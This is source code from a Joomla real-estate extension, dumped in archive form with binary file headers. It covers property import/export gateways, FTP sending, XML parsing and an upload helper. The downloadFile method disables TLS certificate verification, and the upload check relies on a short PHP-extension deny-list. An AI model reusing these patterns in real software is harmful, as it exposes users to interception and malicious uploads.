$properties[$row->ref] instanceof JEAPropertyInterface)
{
if ($this->persistance == true &&
$this->propertiesPerStep > 0 && $this->updated ==
$this->propertiesPerStep)
{
break;
}
// Verify update time
$date = new JDate($row->modified);
if ($date->toUnix() < $properties[$row->ref]->modified)
{
// Update needed
if ($properties[$row->ref]->save($this->provider,
$row->id))
{
$this->updated ++;
}
}
$this->imported ++;
$this->importedProperties[$row->ref] = true;
unset($properties[$row->ref]);
}
elseif ($this->autoDeletion === true)
{
// Property not in the $imported_properties
// So we can delete it if the autodeletion option is set to true
$idsToRemove[] = $row->id;
}
}
if ($this->autoDeletion === true)
{
// Remove outdated properties
$this->removeProperties($idsToRemove);
}
foreach ($properties as $ref => $row)
{
if ($this->persistance == true && $this->propertiesPerStep
> 0 && ($this->updated + $this->created) ==
$this->propertiesPerStep)
{
break;
}
if ($row instanceof JEAPropertyInterface)
{
if ($row->save($this->provider))
{
$this->created ++;
$this->importedProperties[$ref] = true;
}
else
{
$msg = "Property can't be saved : ";
foreach ($row->getErrors() as $error)
{
$msg .= " $error\n";
}
$this->log($msg, 'WARN');
JError::raiseNotice(200, "A property cant'be saved. See logs
for more infos");
}
}
$this->imported ++;
unset($properties[$ref]);
}
if ($this->persistance == true && ! empty($properties))
{
$this->setPersistentProperties($properties);
}
elseif ($this->persistance == true && empty($properties))
{
$this->cleanPersistentProperties();
}
if (empty($properties))
{
$msg = JText::sprintf('COM_JEA_IMPORT_END_MESSAGE',
$this->title)
. '. [' .
JText::sprintf('COM_JEA_GATEWAY_PROPERTIES_FOUND',
$this->total)
. ' - ' .
JText::sprintf('COM_JEA_GATEWAY_PROPERTIES_CREATED',
$this->created)
. ' - ' .
JText::sprintf('COM_JEA_GATEWAY_PROPERTIES_UPDATED',
$this->updated)
. ' - ' .
JText::sprintf('COM_JEA_GATEWAY_PROPERTIES_DELETED',
$this->removed)
. ']';
$this->out($msg);
$this->log($msg, 'info');
$this->afterImport();
}
return $this->getSummary();
}
/**
* Return import summary
*
* @return number[]
*/
protected function getSummary()
{
return array(
'gateway_id' => $this->id,
'gateway_title' => $this->title,
'total' => $this->total,
'created' => $this->created,
'updated' => $this->updated,
'imported' => $this->imported,
'removed' => $this->removed
);
}
/**
* The gateway parser method.
* This method must be overriden in child class
*
* @return JEAPropertyInterface[]
*/
protected function &parse()
{
$properties = array();
return $properties;
}
/**
* Check for properties stored in cache
*
* @return boolean
*/
protected function hasPersistentProperties()
{
$cache = JFactory::getCache('jea_import', 'output',
'file');
$cache->setCaching(true);
$properties = $cache->get('properties');
if (is_string($properties))
{
return true;
}
return false;
}
/**
* Get properties stored in cache
*
* @return array
*/
protected function getPersistentProperties()
{
$cache = JFactory::getCache('jea_import', 'output',
'file');
$cache->setCaching(true);
$infos = $cache->get('infos');
if (is_string($infos))
{
$infos = unserialize($infos);
$this->importedProperties = $infos->importedProperties;
}
$properties = $cache->get('properties');
if ($properties === false)
{
return array();
}
return unserialize($properties);
}
/**
* Store properties in cache
*
* @param JEAPropertyInterface[] $properties An array of
JEAPropertyInterface instances
*
* @return void
*/
protected function setPersistentProperties($properties = array())
{
$cache = JFactory::getCache('jea_import', 'output',
'file');
$cache->setCaching(true);
$cache->store(serialize($properties), 'properties');
$infos = $cache->get('infos');
if (! $infos)
{
$infos = new stdClass;
$infos->total = $this->total;
$infos->updated = $this->updated;
$infos->removed = $this->removed;
$infos->created = $this->created;
$infos->imported = $this->imported;
$infos->importedProperties = $this->importedProperties;
$cache->store(serialize($infos), 'infos');
}
else
{
$infos = unserialize($infos);
$infos->updated += $this->updated;
$infos->removed += $this->removed;
$infos->created += $this->created;
$infos->imported += $this->imported;
foreach ($this->importedProperties as $k => $v)
{
$infos->importedProperties[$k] = $v;
}
$cache->store(serialize($infos), 'infos');
}
// Update interface informations
$this->total = $infos->total;
$this->updated = $infos->updated;
$this->removed = $infos->removed;
$this->created = $infos->created;
$this->imported = $infos->imported;
}
/**
* Remove properties stored in cache
*
* @return void
*/
protected function cleanPersistentProperties()
{
$cache = JFactory::getCache('jea_import', 'output',
'file');
$cache->setCaching(true);
$infos = $cache->get('infos');
if (is_string($infos))
{
$infos = @unserialize($infos);
// Update interface informations
$this->total = $infos->total;
$this->updated += $infos->updated;
$this->removed += $infos->removed;
$this->created += $infos->created;
$this->imported += $infos->imported;
}
// Delete cache infos
$cache->clean();
}
/**
* Remove JEA properties
*
* @param array $ids An array of ids to remove
*
* @return boolean
*/
protected function removeProperties($ids = array())
{
if (empty($ids))
{
return false;
}
$dbo = JFactory::getDbo();
$dbo->setQuery('DELETE FROM #__jea_properties WHERE id IN('
. implode(',', $ids) . ')');
$dbo->execute();
// Remove images folder
foreach ($ids as $id)
{
if (JFolder::exists(JPATH_ROOT . '/images/com_jea/images/' .
$id))
{
JFolder::delete(JPATH_ROOT . '/images/com_jea/images/' .
$id);
}
}
$this->removed = count($ids);
return true;
}
/**
* Return the cache path for the gateway instance
*
* @param boolean $createDir If true, the Directory will be created
*
* @return string
*/
protected function getCachePath($createDir = false)
{
$cachePath = JFactory::getApplication()->get('cache_path',
JPATH_CACHE) . '/' . $this->type . '_' .
$this->provider;
if (!JFolder::exists($cachePath) && $createDir)
{
JFolder::create($cachePath);
}
if (!JFolder::exists($cachePath))
{
throw RuntimeException("Cache directory : $cachePath cannot be
created.");
}
return $cachePath;
}
/**
* Parse an xml file
*
* @param string $xmlFile The xml file path
*
* @return SimpleXMLElement
*
* @throws Exception if xml cannot be parsed
*/
protected function parseXmlFile($xmlFile = '')
{
// Disable libxml errors and allow to fetch error information as needed
libxml_use_internal_errors(true);
$xml = simplexml_load_file($xmlFile, 'SimpleXMLElement',
LIBXML_PARSEHUGE);
if (! $xml)
{
$msg = "Cannot load : $xmlFile. ";
$errors = libxml_get_errors();
foreach ($errors as $error)
{
switch ($error->level)
{
case LIBXML_ERR_WARNING:
$msg .= "Warning $error->code: ";
break;
case LIBXML_ERR_ERROR:
$msg .= "Err Error $error->code: ";
break;
case LIBXML_ERR_FATAL:
$msg .= "Fatal Error $error->code: ";
break;
}
$msg .= trim($error->message) . " - Line: $error->line -
Column: $error->column";
if ($error->file)
{
$msg .= " File: $error->file";
}
}
libxml_clear_errors();
throw new Exception($msg, $error->code);
}
return $xml;
}
/**
* Download a file and return the file as local file path
*
* @param string $url The file url to download
* @param string $destFile Optionnal file destination name
*
* @return string the downloaded file destination name
*/
protected function downloadFile($url, $destFile = '')
{
if (empty($destFile))
{
$cachePath = $this->getCachePath(true);
$fileName = JFilterOutput::stringUrlSafe(basename($url));
if (strlen($fileName) > 20)
{
$fileName = substr($fileName, 0, 20);
}
$destFile = $cachePath . '/' . $fileName;
}
if (JFile::exists($destFile))
{
JFile::delete($destFile);
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
// Don't check SSL certificate
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$data = curl_exec($ch);
if ($data === false)
{
$errno = curl_errno($ch);
$error = curl_error($ch);
$msg = "Cannot download $url. Error code : $errno, Message :
$error";
$this->log($msg, 'ERR');
throw new RuntimeException($msg);
}
curl_close($ch);
JFile::write($destFile, $data);
return $destFile;
}
}
PKdx�[.��@��gateways/export.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
require_once JPATH_COMPONENT_ADMINISTRATOR .
'/gateways/gateway.php';
/**
* The base class for export gateways
*
* @since 3.4
*/
abstract class JeaGatewayExport extends JeaGateway
{
/**
* Site base url
*
* @var string
*/
protected $baseUrl = '';
/**
* Constructor
*
* @param object $subject The object to observe
* @param array $config An optional associative array of
configuration settings.
*/
public function __construct(&$subject, $config = array())
{
$application = JFactory::getApplication();
if (defined('BASE_URL'))
{
$this->baseUrl = BASE_URL;
}
if ($application instanceof JApplicationWeb)
{
$this->baseUrl = JUri::root();
}
parent::__construct($subject, $config);
}
/**
* This method must be implemented by child class
*
* @return array containg export summary data
*/
abstract public function export();
/**
* Get all JEA properties
*
* @param boolean $published If true, get only published properties
*
* @return array
*/
protected function getJeaProperties($published = true)
{
$db = JFactory::getDbo();
$query = 'SELECT p.*, t.value AS town, ht.value AS
heating_type'
. ', hwt.value AS hot_water_type, d.value AS department'
. ', a.value AS `area`, s.value AS slogan, c.value AS `condition`,
type.value AS type' . PHP_EOL
. 'FROM #__jea_properties AS p' . PHP_EOL
. 'LEFT JOIN #__jea_towns AS t ON t.id = p.town_id' . PHP_EOL
. 'LEFT JOIN #__jea_departments AS d ON d.id =
p.department_id' . PHP_EOL
. 'LEFT JOIN #__jea_areas AS a ON a.id = p.area_id' . PHP_EOL
. 'LEFT JOIN #__jea_heatingtypes AS ht ON ht.id =
p.heating_type' . PHP_EOL
. 'LEFT JOIN #__jea_hotwatertypes AS hwt ON hwt.id =
p.heating_type' . PHP_EOL
. 'LEFT JOIN #__jea_types AS type ON type.id = p.type_id' .
PHP_EOL
. 'LEFT JOIN #__jea_conditions AS c ON c.id = p.condition_id'
. PHP_EOL
. 'LEFT JOIN #__jea_slogans AS s ON s.id = p.slogan_id' .
PHP_EOL;
if ($published)
{
$query .= 'WHERE p.published = 1';
}
$db->setQuery($query);
$properties = $db->loadAssocList();
$db->setQuery('SELECT `id`, `value` FROM #__jea_amenities');
$amenities = $db->loadObjectList('id');
$unsets = array(
'asset_id',
'town_id',
'area_id',
'department_id',
'slogan_id',
'published',
'access',
'publish_up',
'publish_down',
'checked_out',
'checked_out_time',
'created_by',
'hits'
);
foreach ($properties as &$property)
{
foreach ($unsets as $key)
{
if (isset($property[$key]))
{
unset($property[$key]);
}
}
$exp = explode('-', $property['amenities']);
$tmp = array();
foreach ($exp as $id)
{
if (isset($amenities[$id]))
{
$tmp[$id] = $amenities[$id]->value;
}
}
$property['amenities'] = $tmp;
$property['images'] = $this->getImages((object) $property);
}
return $properties;
}
/**
* Get pictures of a property
*
* @param object $row The property DB row
*
* @return array
*/
private function getImages($row)
{
$result = array();
$images = json_decode($row->images);
if (empty($images) && ! is_array($images))
{
return $result;
}
$imgDir = 'images/com_jea/images/' . $row->id;
if (! JFolder::exists(JPATH_ROOT . '/' . $imgDir))
{
return $result;
}
foreach ($images as $image)
{
$path = JPATH_ROOT . '/' . $imgDir . '/' .
$image->name;
if (JFile::exists($path))
{
$result[] = array(
'path' => $path,
'url' => $this->baseUrl . $imgDir . '/' .
$image->name,
'name' => $image->name,
'title' => $image->title,
'description' => $image->description
);
}
}
return $result;
}
}
PKdx�[���??!gateways/providers/jea/import.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<form>
<fields name="params">
<field name="import_directory" type="text"
size="50" default=""
label="COM_JEA_FIELD_IMPORT_DIRECTORY_LABEL"
description="COM_JEA_FIELD_IMPORT_DIRECTORY_DESC" />
<field name="auto_deletion" type="radio"
default="0" class="btn-group"
label="COM_JEA_FIELD_AUTO_DELETE_PROPERTIES_LABEL"
description="COM_JEA_FIELD_AUTO_DELETE_PROPERTIES_DESC">
<option value="0">JNO</option>
<option value="1">JYES</option>
</field>
<field name="import_user" type="user"
label="COM_JEA_FIELD_IMPORT_USER_LABEL"
description="COM_JEA_FIELD_IMPORT_USER_DESC" />
<field name="properties_per_step" type="text"
size="4" default="5"
label="COM_JEA_FIELD_PROPERTIES_PER_STEP_LABEL"
description="COM_JEA_FIELD_PROPERTIES_PER_STEP_DESC" />
</fields>
</form>
PKdx�[�,����!gateways/providers/jea/export.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<form>
<fields name="params">
<field name="export_directory" type="text"
default="tmp"
label="COM_JEA_FIELD_EXPORT_DIRECTORY_LABEL"
description="COM_JEA_FIELD_EXPORT_DIRECTORY_DESC"
size="60" />
<field name="export_images" type="list"
label="COM_JEA_FIELD_EXPORT_IMAGE_AS_LABEL"
description="COM_JEA_FIELD_EXPORT_IMAGE_AS_DESC"
default="url" class="chzn-color">
<option value="url">COM_JEA_OPTION_URL</option>
<option value="file">COM_JEA_OPTION_FILE</option>
</field>
<field name="zip_name" type="text"
default="jea_export_{{date}}.zip"
label="COM_JEA_FIELD_ZIP_NAME_LABEL"
description="COM_JEA_FIELD_ZIP_NAME_DESC" size="60"
/>
<field name="send_by_ftp" type="radio"
label="COM_JEA_FIELD_SEND_OVER_FTP_LABEL"
description="COM_JEA_FIELD_SEND_OVER_FTP_DESC"
default="0" class="btn-group">
<option value="0">JNO</option>
<option value="1">JYES</option>
</field>
<field name="ftp_host" type="text"
default="" label="COM_JEA_FIELD_FTP_HOST_LABEL"
description="COM_JEA_FIELD_FTP_HOST_DESC"
class="inputbox" size="60" />
<field name="ftp_username" type="text"
default="" label="COM_JEA_FIELD_FTP_USERNAME_LABEL"
description="COM_JEA_FIELD_FTP_USERNAME_DESC"
class="inputbox" size="60" />
<field name="ftp_password" type="text"
default="" label="COM_JEA_FIELD_FTP_PASSWORD_LABEL"
description="COM_JEA_FIELD_FTP_PASSWORD_DESC"
class="inputbox" size="60" />
</fields>
</form>
PKdx�[�]M�!gateways/providers/jea/import.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
require_once JPATH_COMPONENT_ADMINISTRATOR .
'/gateways/import.php';
require_once JPATH_COMPONENT_ADMINISTRATOR .
'/models/propertyInterface.php';
/**
* The import class for JEA gateway provider
*
* @since 3.4
*/
class JeaGatewayImportJea extends JeaGatewayImport
{
/**
* The gateway parser method.
*
* @return JEAPropertyInterface[]
*/
protected function &parse()
{
// @var JEAPropertyInterface[] $properties
$properties = array();
$importDir = $this->params->get('import_directory');
if (! JFolder::exists($importDir))
{
// Maybe a relative path to Joomla ?
if (! JFolder::exists(JPATH_ROOT . '/' . trim($importDir,
'/')))
{
throw new
Exception(JText::sprintf('COM_JEA_GATEWAY_ERROR_IMPORT_DIRECTORY_NOT_FOUND',
$importDir));
}
$importDir = JPATH_ROOT . '/' . trim($importDir,
'/');
}
$tmpDirs = $this->extractZips($importDir);
if (empty($tmpDirs))
{
return $properties;
}
foreach ($tmpDirs as $dir)
{
$xmlFiles = JFolder::files($dir, '.(xml|XML)$', false, true);
if (empty($xmlFiles))
{
continue;
}
$xmlFile = array_shift($xmlFiles);
$this->parseXML($properties, $xmlFile);
}
return $properties;
}
/**
* Extract Zip files and return extracting directories
*
* @param string $importDir The directory where to find zip files
*
* @return array
*/
protected function extractZips($importDir)
{
$tmpDirs = array();
$tmpPath = JFactory::getConfig()->get('tmp_path');
// Find zip files
$zips = JFolder::files($importDir, '.(zip|ZIP)$', false, true);
if (empty($zips))
{
throw new
Exception(JText::sprintf('COM_JEA_GATEWAY_ERROR_IMPORT_NO_ZIP_FOUND',
$importDir));
}
// Extract zips
foreach ($zips as $zipfile)
{
$tmpDir = $tmpPath . '/' . basename($zipfile);
if (! JFolder::create($tmpDir))
{
throw new
Exception(JText::sprintf('COM_JEA_ERROR_CANNOT_CREATE_DIR',
$tmpDir));
}
$tmpDirs[] = $tmpDir;
if (! JArchive::extract($zipfile, $tmpDir))
{
throw new
Exception(JText::sprintf('COM_JEA_GATEWAY_ERROR_CANNOT_EXTRACT_ZIP',
$zipfile));
}
}
return $tmpDirs;
}
/**
* Xml parser
*
* @param array $properties Will be filled with JEAPropertyInterface
instances
* @param string $xmlFile The xml file path
*
* @return void
*
* @throws Exception if xml cannot be parsed
*/
protected function parseXML(&$properties, $xmlFile = '')
{
$xml = $this->parseXmlFile($xmlFile);
$currentDirectory = dirname($xmlFile);
// Check root tag
if ($xml->getName() != 'jea')
{
throw new Exception("$xmlFile is not an export from JEA");
}
$children = $xml->children();
foreach ($children as $child)
{
if ($child->getName() != 'property')
{
continue;
}
$fields = $child->children();
$property = new JEAPropertyInterface;
$ref = (string) $child->ref;
// Ref must be unique
if (isset($properties[$ref]))
{
$ref .= '-' . (string) $child->id;
}
foreach ($fields as $field)
{
$fieldName = $field->getName();
if ($fieldName == 'id')
{
continue;
}
if ($fieldName == 'images')
{
$images = $field->children();
foreach ($images as $image)
{
if (JFile::exists($currentDirectory . '/' .
$image->name))
{
$property->images[] = $currentDirectory . '/' .
$image->name;
}
}
continue;
}
if ($fieldName == 'amenities')
{
$amenities = $field->children();
foreach ($amenities as $amenity)
{
$property->amenities[] = (string) $amenity;
}
continue;
}
$value = (string) $field;
if ($fieldName == 'ref')
{
$value = $ref;
}
// Filter values
if (ctype_digit($value))
{
$value = (int) $value;
}
if (property_exists($property, $fieldName))
{
$property->$fieldName = $value;
}
else
{
$property->addAdditionalField($fieldName, $value);
}
}
$properties[$ref] = $property;
}
}
}
PKdx�[
�X\{{!gateways/providers/jea/export.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Archive\Archive;
use Joomla\CMS\Client\FtpClient;
require_once JPATH_COMPONENT_ADMINISTRATOR .
'/gateways/export.php';
/**
* The export class for JEA gateway provider
*
* @since 3.4
*/
class JeaGatewayExportJea extends JeaGatewayExport
{
/**
* The directory where to write data
*
* @var string
*/
protected $exportDirectory = '';
/**
* Get the export directory path
*
* @throws Exception if directory is not found
*
* @return string The export dir
*/
protected function getExportDirectory()
{
if (empty($this->exportDirectory))
{
$dir = $this->params->get('export_directory');
if (! JFolder::exists($dir))
{
// Try to create dir into joomla root dir
$dir = JPATH_ROOT . '/' . trim($dir, '/');
if (JFolder::exists(basename($dir)) && ! JFolder::create($dir))
{
throw new
Exception(JText::sprintf('COM_JEA_GATEWAY_ERROR_EXPORT_DIRECTORY_CANNOT_BE_CREATED',
$dir));
}
}
$this->exportDirectory = $dir;
}
return $this->exportDirectory;
}
/**
* Create the zip file
*
* @param string $filename The zipfile path to create.
* @param array $files A set of files to be included into the
zipfile.
*
* @throws Exception if zip file cannot be created
* @return void
*/
protected function createZip($filename, &$files)
{
$zipAdapter = (new Archive)->getAdapter('zip');
if (!@$zipAdapter->create($filename, $files))
{
throw new
Exception(JText::sprintf('COM_JEA_GATEWAY_ERROR_ZIP_CREATION',
$filename));
}
$this->log("Zip creation : $filename");
}
/**
* Build XML
*
* @param string|array $data The data to convert
* @param string $elementName The element name
*
* @return DOMDocument|DOMElement
*/
protected function buildXMl(&$data, $elementName = '')
{
static $doc;
$rootName = 'jea';
if ($elementName == $rootName)
{
$doc = new DOMDocument('1.0', 'utf-8');
}
$element = $doc->createElement($elementName);
if (is_array($data))
{
foreach ($data as $key => $value)
{
if (is_int($key))
{
$childsName = array(
$rootName => 'property',
'amenities' => 'amenity',
'images' => 'image'
);
if (! isset($childsName[$elementName]))
{
continue;
}
$key = $childsName[$elementName];
}
$child = $this->buildXMl($value, $key);
$element->appendChild($child);
}
}
else
{
$text = ctype_alnum($data) ? $doc->createTextNode((string) $data) :
$doc->createCDATASection((string) $data);
$element->appendChild($text);
}
if ($elementName == $rootName)
{
$doc->appendChild($element);
return $doc;
}
return $element;
}
/**
* Send File over FTP
*
* @param string $file The file to send
*
* @throws Exception if FTP transfer fails
* @return void
*/
protected function ftpSend($file)
{
$ftpClient = new FtpClient(array('timeout' => 5,
'type' => FTP_BINARY));
if
(!$ftpClient->connect($this->params->get('ftp_host')))
{
throw new
Exception(JText::sprintf('COM_JEA_GATEWAY_ERROR_FTP_UNABLE_TO_CONNECT_TO_HOST',
$this->params->get('ftp_host')));
}
if
(!$ftpClient->login($this->params->get('ftp_username'),
$this->params->get('ftp_password')))
{
throw new
Exception(JText::_('COM_JEA_GATEWAY_ERROR_FTP_UNABLE_TO_LOGIN'));
}
if (!$ftpClient->store($file))
{
throw new
Exception(JText::_('COM_JEA_GATEWAY_ERROR_FTP_UNABLE_TO_SEND_FILE'));
}
$ftpClient->quit();
}
/**
* InitWebConsole event handler
*
* @return void
*/
public function initWebConsole()
{
JHtml::script('media/com_jea/js/gateway-jea.js', true);
$title = addslashes($this->title);
// Register script messages
JText::script('COM_JEA_EXPORT_START_MESSAGE', true);
JText::script('COM_JEA_EXPORT_END_MESSAGE', true);
JText::script('COM_JEA_GATEWAY_FTP_TRANSFERT_SUCCESS', true);
JText::script('COM_JEA_GATEWAY_DOWNLOAD_ZIP', true);
$document = JFactory::getDocument();
$script = "jQuery(document).on('registerGatewayAction',
function(event, webConsole, dispatcher) {"
. " dispatcher.register(function() {"
. " JeaGateway.startExport($this->id,
'$title', webConsole);"
. " });"
. "});";
$document->addScriptDeclaration($script);
}
/**
* The export event handler
*
* @return array An array containing the response model
*/
public function export()
{
$dir = $this->getExportDirectory();
$xmlFile = $dir . '/export.xml';
$zipName = $this->params->get('zip_name',
'jea_export_{{date}}.zip');
$zipName = str_replace('{{date}}',
date('Y-m-d-H:i:s'), $zipName);
$zipFile = $dir . '/' . $zipName;
$zipUrl = rtrim($this->baseUrl, '/') .
str_replace(JPATH_ROOT, '', $dir) . '/' . $zipName;
$files = array();
$properties = $this->getJeaProperties();
$exportImages = $this->params->get('export_images');
foreach ($properties as &$property)
{
foreach ($property['images'] as &$image)
{
if ($exportImages == 'file')
{
$name = $property['id'] . '_' .
basename($image['path']);
$files[] = array(
'data' => file_get_contents($image['path']),
'name' => $name
);
$image['name'] = $name;
unset($image['url']);
}
unset($image['path']);
}
}
// Init $xmlFile before DOMDocument::save()
JFile::write($xmlFile, '');
$xml = $this->buildXMl($properties, 'jea');
$xml->formatOutput = true;
$xml->save($xmlFile);
$files[] = array(
'data' => file_get_contents($xmlFile),
'name' => 'export.xml'
);
$this->createZip($zipFile, $files);
$response = array(
'exported_properties' => count($properties),
'zip_url' => $zipUrl,
'ftp_sent' => false
);
$message = JText::_('COM_JEA_EXPORT_END_MESSAGE');
$message = str_replace(
array('{title}', '{count}'),
array($this->title, $response['exported_properties']),
$message
);
if ($this->params->get('send_by_ftp') == '1')
{
$this->ftpSend($zipFile);
$response['ftp_sent'] = true;
$message .= ' ' .
JText::_('COM_JEA_GATEWAY_FTP_TRANSFERT_SUCCESS');
}
$this->out($message);
$this->log($message);
return $response;
}
}
PKdx�[�Xl�helpers/jea.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Jea Helper class
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @since 2.0
*/
class JeaHelper
{
/**
* Configure the Linkbar.
*
* @param string $viewName The name of the active view.
*
* @return void
*/
public static function addSubmenu($viewName)
{
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('m.*')
->from('#__menu AS m')
->innerJoin('#__menu AS m2 ON m.parent_id = m2.id')
->where("m2.link='index.php?option=com_jea'")
->order('id ASC');
$db->setQuery($query);
$items = $db->loadObjectList();
foreach ($items as $item)
{
$active = false;
switch ($item->title)
{
case 'com_jea_properties':
$item->title = 'COM_JEA_PROPERTIES_MANAGEMENT';
break;
case 'com_jea_features':
$item->title = 'COM_JEA_FEATURES_MANAGEMENT';
break;
}
$matches = array();
if (preg_match('#&view=([a-z]+)#', $item->link,
$matches))
{
$active = $matches[1] == $viewName;
}
JHtmlSidebar::addEntry(JText::_($item->title), $item->link,
$active);
}
JHtmlSidebar::addEntry(
JText::_('COM_JEA_ABOUT'),
'index.php?option=com_jea&view=about',
$viewName == 'about'
);
}
/**
* Gets a list of actions that can be performed.
*
* @param int $propertyId The property ID.
*
* @return Jobject
*/
public static function getActions($propertyId = 0)
{
$user = JFactory::getUser();
$result = new JObject;
if (empty($propertyId))
{
$assetName = 'com_jea';
}
else
{
$assetName = 'com_jea.property.' . (int) $propertyId;
}
$actions = array(
'core.admin',
'core.manage',
'core.create',
'core.edit',
'core.edit.own',
'core.edit.state',
'core.delete'
);
foreach ($actions as $action)
{
$result->set($action, $user->authorise($action, $assetName));
}
return $result;
}
/**
* Gets the list of tools icons.
*
* @return array A button list
*/
public static function getToolsIcons()
{
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select(array('link', 'title AS text',
'icon AS image', 'access'));
$query->from('#__jea_tools');
$query->order('id ASC');
$db->setQuery($query);
$buttons = $db->loadAssocList();
foreach ($buttons as &$button)
{
$button['text'] = JText::_($button['text']);
if (!empty($button['access']))
{
$button['access'] = json_decode($button['access']);
}
}
return $buttons;
}
}
PKdx�[��Ŗ��helpers/utility.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Utility class helper.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @since 2.0
*/
class JeaHelperUtility
{
/**
* Transform an array to csv strng
*
* @param array $data An array of data
*
* @return string CSV formatted
*/
public static function arrayToCSV($data)
{
$outstream = fopen("php://temp", 'r+');
fputcsv($outstream, $data, ';', '"');
rewind($outstream);
$csv = fgets($outstream);
fclose($outstream);
return $csv;
}
/**
* Transform csv to array
*
* @param string $data The CSV string
*
* @return array
*/
protected function CSVToArray($data)
{
$instream = fopen("php://temp", 'r+');
fwrite($instream, $data);
rewind($instream);
$csv = fgetcsv($instream, 9999999, ';', '"');
fclose($instream);
return $csv;
}
}
PKdx�[��^&QQhelpers/upload.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Filesystem\Folder;
/**
* Upload class helper.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @since 2.0
*/
class JeaUpload
{
/**
* The upload key
* (ex: $files[0][{picture}] or $files[0][{1}] or $files[0][{picture1}])
*
* @var string
*/
public $key = '';
/**
* @var string
*/
public $name = '';
/**
* @var string
*/
public $temp_name = '';
/**
* @var string
*/
public $type = '';
/**
* @var integer
*/
public $error;
/**
* Errors list
*
* @var array
*/
protected $errors = array();
/**
* It's a common security risk in pages who has the upload dir
* under the document root
*
* @var array
* @see JeaUpload::setValidExtensions()
*/
protected $extensionsCheck = array();
/**
* @var string
* @see JeaUpload::setValidExtensions()
*/
protected $extensionsMode = 'deny';
/**
* Constructor
*
* @param array $params File upload infos (given by $_FILES)
*/
public function __construct($params)
{
$this->name = isset($params['name']) ?
$params['name'] : '';
$this->temp_name = isset($params['tmp_name']) ?
$params['tmp_name'] : '';
$this->type = isset($params['type']) ?
$params['type'] : '';
$this->error = isset($params['error']) ? (int)
$params['error'] : UPLOAD_ERR_NO_FILE;
$this->extensionsCheck = array('php', 'phtm',
'phtml', 'php3', 'inc');
}
/**
* Return one or multiple instances of JeaUpload
*
* @param string $name The name of the posted file
*
* @return mixed
*/
public static function getUpload($name = '')
{
if (!isset($_FILES[$name]))
{
throw new \RuntimeException('No file with name ' . $name .
' was posted.');
}
$rawUploaded = $_FILES[$name];
if (is_array($rawUploaded['name']))
{
$fields = array(
'name',
'type',
'tmp_name',
'error',
'size'
);
$arrUploaded = array();
$keys = array_keys($rawUploaded['name']);
foreach ($keys as $key)
{
$params = array();
foreach ($fields as $field)
{
$params[$field] = $rawUploaded[$field][$key];
}
$uploaded = new JeaUpload($params);
$uploaded->key = $key;
$arrUploaded[] = $uploaded;
}
return $arrUploaded;
}
else
{
// Single post
$uploaded = new JeaUpload($rawUploaded);
$uploaded->key = $name;
return $uploaded;
}
}
/**
* Verify if the file was uploaded
*
* @return boolean
*/
public function isPosted()
{
if ($this->error === UPLOAD_ERR_NO_FILE)
{
return false;
}
return true;
}
/**
* Check errors
*
* @return JeaUpload
*/
public function check()
{
if ($this->error !== UPLOAD_ERR_OK)
{
switch ($this->error)
{
case UPLOAD_ERR_INI_SIZE:
case UPLOAD_ERR_FORM_SIZE:
$this->errors[] = 'COM_JEA_UPLOAD_ERR_SIZE';
break;
case UPLOAD_ERR_PARTIAL:
$this->errors[] = 'COM_JEA_UPLOAD_ERR_PARTIAL';
break;
case UPLOAD_ERR_NO_TMP_DIR:
$this->errors[] = 'COM_JEA_UPLOAD_ERR_NO_TMP_DIR';
break;
case UPLOAD_ERR_CANT_WRITE:
$this->errors[] = 'COM_JEA_UPLOAD_ERR_CANT_WRITE';
break;
default:
$this->errors[] = 'COM_JEA_UPLOAD_UNKNOWN_ERROR';
}
}
// Valid extensions check
if (! $this->_evalValidExtensions())
{
$this->errors[] =
'COM_JEA_UPLOAD_FILE_EXTENSION_NOT_PERMITTED';
}
return $this;
}
/**
* Get the errors list
*
* @return array
*/
public function getErrors()
{
return $this->errors;
}
/**
* Set the file name
*
* @param string $name The file name
*
* @return JeaUpload
*/
public function setName($name)
{
// Verify extention before change the filename
if ($this->_evalValidExtensions())
{
$this->name = $name;
}
return $this;
}
/**
